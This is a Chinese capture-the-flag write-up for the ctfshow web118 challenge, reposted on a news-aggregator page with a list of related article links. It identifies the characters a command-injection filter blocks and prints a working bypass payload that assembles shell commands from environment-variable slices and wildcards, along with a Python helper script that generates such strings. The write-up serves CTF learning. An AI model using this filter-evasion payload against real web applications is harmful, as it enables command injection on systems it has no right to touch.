当前位置: 首页 > news >正文

[ctfshow web入门] web118

信息收集

遇事不决先抓包,发现源代码里有注释
在这里插入图片描述

输入一些命令,出现evil input,直到尝试到单个字母还是evil input,我的记忆里搜索到,可能是过滤单个字符的题目,那时候我还专门跑了过滤了哪些字符的

使用burpsuite抓包,发送到intruder
在这里插入图片描述
得到的结果有两种长度,一种是1155一种是1165,1165包含了evil input字符串
被禁用的字符包括

%00-%0F
! " % & ' ( ) * + , - . /
0-9
< = > `
a-z
|

还剩下大写字母以及关键的$

解题

还记得之前用$和大写字母拼空格吗,其实还可以拼好shell
反正我的知识储备不够,拼不出来,直接看答案了

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???${PATH:~A}${PWD:~A}${IFS}????.???

要想看懂答案,还得开其他题收集一些情报

$PWD		/var/www/html
$HOME		/home/www-data
~A			-1
$SHLVL		1
${#RANDOM}	4或5
$PATH		/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${IFS}		空格
${#TERM} 	//没收集到,猜测是5 xtern vt100 vt220长度都是5

自己组一个echo,可惜不知道为什么失败了,不然就能印证我上面收集到的数据是正确的,也能拿到上面那些环境变量的真实数据了

e=${${${${HOME:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}
c=${${${${${${${PATH:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}
h=${HOME:${#SHLVL}:${#SHLVL}}
o=${${PATH:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${${${${HOME:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${${${${${${${PATH:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${HOME:${#SHLVL}:${#SHLVL}}${${PATH:${#SHLVL}}:${#SHLVL}:${#SHLVL}}${IFS}

上面代码的生成脚本

def get_string(s, n):res = ""res += '${' * n + s + ':${#SHLVL}''}' * nreturn res[:-1]+':${#SHLVL}}'print(get_string('PATH', 2))

web    目录    web

http://www.dtcms.com/a/197099.html

相关文章:

  • hysAnalyser 从MPEG-TS导出ES功能说明
  • Leaflet使用SVG创建动态Legend
  • wifiactivity 界面 要在哪里注册,注销广播?onResume() vs onPause() 的本质区别
  • 安装nerdctl和buildkitd脚本命令
  • LLM智能体新纪元:深入解析MCP与A2A协议,赋能智能自动化协作
  • stack和queue简单模拟实现
  • Linux面试题集合(3)
  • 【typenum】 9 与常量泛型桥接(generic_const_mappings.rs)
  • Redis的发布订阅模型是什么,有哪些缺点?
  • GO语言语法---if语句
  • flutter flutter run 运行项目卡在Running Gradle task ‘assembleDebug‘...
  • Python文件与JSON操作全解:从基础到企业级实践
  • 05、基础入门-SpringBoot-HelloWorld
  • 政府数据开放试点企业如何抢占特许经营协议黄金席位
  • acwing5579 增加模数
  • 蓝桥杯11届国B 答疑
  • NY321NY322美光闪存芯片NY323NY336
  • 冒泡排序-java
  • ECMAScript 2018(ES2018):异步编程与正则表达式的深度进化
  • Windows本地化部署Dify完整指南
  • 程序开多少线程合适?
  • Vue3学习(组合式API——ref模版引用与defineExpose编译宏函数)
  • Stacking超参数调优:网格搜索与随机搜索的实战指南
  • 【软考中级软件设计师】进程管理
  • 如何深入学习MATLAB的高级应用?
  • StreamCap v0.0.1 直播录制工具 支持批量录制和直播监控
  • 注册表设置windows背景护眼色
  • 【React Fiber 架构详解】
  • FreeRTOS的学习记录(任务创建,任务挂起)
  • 计算机操作系统概要